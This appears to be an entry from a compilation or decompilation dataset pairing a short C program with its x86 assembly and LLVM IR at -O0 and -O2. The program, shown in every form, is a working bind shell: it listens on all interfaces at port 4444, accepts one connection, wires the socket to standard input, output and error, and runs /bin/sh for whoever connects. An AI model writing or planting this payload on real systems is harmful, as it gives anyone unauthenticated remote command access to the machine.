#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int s_addr;
};
struct sockaddr_in {
  int sin_family;
  int sin_port;
  TYPE_1__ sin_addr;
};
struct sockaddr {
  int dummy;
};

/* Variables and functions */
int accept(int, struct sockaddr *, int *);
int /*<<< orphan*/ bind(int, struct sockaddr *, int);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, char **, char *);
int /*<<< orphan*/ listen(int, int);
int socket(int, int, int);
int main(void) {
  int sockfd;
  struct sockaddr_in SA;
  int clientSaSize;
  char *arg_list[] = {{"/bin/sh"}, NULL};
  sockfd = socket(0x00000002, 0x00000001, 0x0);
  SA.sin_family = 0x00000002;
  SA.sin_addr.s_addr = 0x00000000;
  SA.sin_port = 0x5c11;
  bind(sockfd, (struct sockaddr *)&SA, 0x10);
  listen(sockfd, 1);
  sockfd = accept(sockfd, (struct sockaddr *)&SA, &clientSaSize);
  dup2(sockfd, 0);
  dup2(sockfd, 1);
  dup2(sockfd, 2);
  execve(arg_list[0], arg_list, arg_list[1]);
  close(sockfd);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    0x2c8a(%rip),%rax
mov    %rax,-0x30(%rbp)
mov    0x2c87(%rip),%rax
mov    %rax,-0x28(%rbp)
mov    $0x2,%edi
mov    $0x1,%esi
xor    %edx,%edx
call   1090 <socket@plt>
mov    %eax,-0x8(%rbp)
movl   $0x2,-0x18(%rbp)
movl   $0x0,-0x10(%rbp)
movl   $0x5c11,-0x14(%rbp)
mov    -0x8(%rbp),%edi
lea    -0x18(%rbp),%rsi
mov    $0x10,%edx
call   1070 <bind@plt>
mov    -0x8(%rbp),%edi
mov    $0x1,%esi
call   1060 <listen@plt>
mov    -0x8(%rbp),%edi
lea    -0x18(%rbp),%rsi
lea    -0x1c(%rbp),%rdx
call   1080 <accept@plt>
mov    %eax,-0x8(%rbp)
mov    -0x8(%rbp),%edi
xor    %esi,%esi
call   1030 <dup2@plt>
mov    -0x8(%rbp),%edi
mov    $0x1,%esi
call   1030 <dup2@plt>
mov    -0x8(%rbp),%edi
mov    $0x2,%esi
call   1030 <dup2@plt>
mov    -0x30(%rbp),%rdi
lea    -0x30(%rbp),%rsi
mov    -0x28(%rbp),%rdx
call   1050 <execve@plt>
mov    -0x8(%rbp),%edi
call   1040 <close@plt>
xor    %eax,%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r14
push   %rbx
sub    $0x28,%rsp
movaps 0x2c92(%rip),%xmm0
movaps %xmm0,0x10(%rsp)
mov    $0x2,%edi
mov    $0x1,%esi
xor    %edx,%edx
call   1090 <socket@plt>
mov    %eax,%ebx
movabs $0x5c1100000002,%rax
mov    %rax,(%rsp)
movl   $0x0,0x8(%rsp)
mov    %rsp,%r14
mov    %ebx,%edi
mov    %r14,%rsi
mov    $0x10,%edx
call   1070 <bind@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1060 <listen@plt>
lea    0xc(%rsp),%rdx
mov    %ebx,%edi
mov    %r14,%rsi
call   1080 <accept@plt>
mov    %eax,%ebx
mov    %eax,%edi
xor    %esi,%esi
call   1030 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1030 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1030 <dup2@plt>
lea    0xdfd(%rip),%rdi
lea    0x10(%rsp),%rsi
xor    %edx,%edx
call   1050 <execve@plt>
mov    %ebx,%edi
call   1040 <close@plt>
xor    %eax,%eax
add    $0x28,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, i32, %struct.TYPE_2__ }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.arg_list = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca %struct.sockaddr_in
%4 = alloca i32
%5 = alloca [2 x i8*]
store i32 0, i32* %1
%6 = bitcast [2 x i8*]* %5 to i8*
%7 = call i32 @socket(i32 2, i32 1, i32 0)
store i32 %7, i32* %2
%8 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i32 0, i32 0
store i32 2, i32* %8
%9 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i32 0, i32 2
%10 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %9, i32 0, i32 0
store i32 0, i32* %10
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i32 0, i32 1
store i32 23569, i32* %11
%12 = load i32, i32* %2
%13 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%14 = call i32 @bind(i32 %12, %struct.sockaddr* %13, i32 16)
%15 = load i32, i32* %2
%16 = call i32 @listen(i32 %15, i32 1)
%17 = load i32, i32* %2
%18 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%19 = call i32 @accept(i32 %17, %struct.sockaddr* %18, i32* %4)
store i32 %19, i32* %2
%20 = load i32, i32* %2
%21 = call i32 @dup2(i32 %20, i32 0)
%22 = load i32, i32* %2
%23 = call i32 @dup2(i32 %22, i32 1)
%24 = load i32, i32* %2
%25 = call i32 @dup2(i32 %24, i32 2)
%26 = getelementptr inbounds [2 x i8*], [2 x i8*]* %5, i64 0, i64 0
%27 = load i8*, i8** %26
%28 = getelementptr inbounds [2 x i8*], [2 x i8*]* %5, i64 0, i64 0
%29 = getelementptr inbounds [2 x i8*], [2 x i8*]* %5, i64 0, i64 1
%30 = load i8*, i8** %29
%31 = call i32 @execve(i8* %27, i8** %28, i8* %30)
%32 = load i32, i32* %2
%33 = call i32 @close(i32 %32)
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, i32, %struct.TYPE_2__ }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.arg_list = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
define i32 @main() {
%1 = alloca %struct.sockaddr_in
%2 = alloca i32
%3 = alloca [2 x i8*]
%4 = bitcast %struct.sockaddr_in* %1 to i8*
%5 = bitcast i32* %2 to i8*
%6 = bitcast [2 x i8*]* %3 to i8*
%7 = tail call i32 @socket(i32 2, i32 1, i32 0)
%8 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 0
store i32 2, i32* %8
%9 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 2, i32 0
store i32 0, i32* %9
%10 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 1
store i32 23569, i32* %10
%11 = bitcast %struct.sockaddr_in* %1 to %struct.sockaddr*
%12 = call i32 @bind(i32 %7, %struct.sockaddr* %11, i32 16)
%13 = call i32 @listen(i32 %7, i32 1)
%14 = call i32 @accept(i32 %7, %struct.sockaddr* %11, i32* %2)
%15 = call i32 @dup2(i32 %14, i32 0)
%16 = call i32 @dup2(i32 %14, i32 1)
%17 = call i32 @dup2(i32 %14, i32 2)
%18 = getelementptr inbounds [2 x i8*], [2 x i8*]* %3, i64 0, i64 0
%19 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8** %18, i8* null)
%20 = call i32 @close(i32 %14)
ret i32 0
}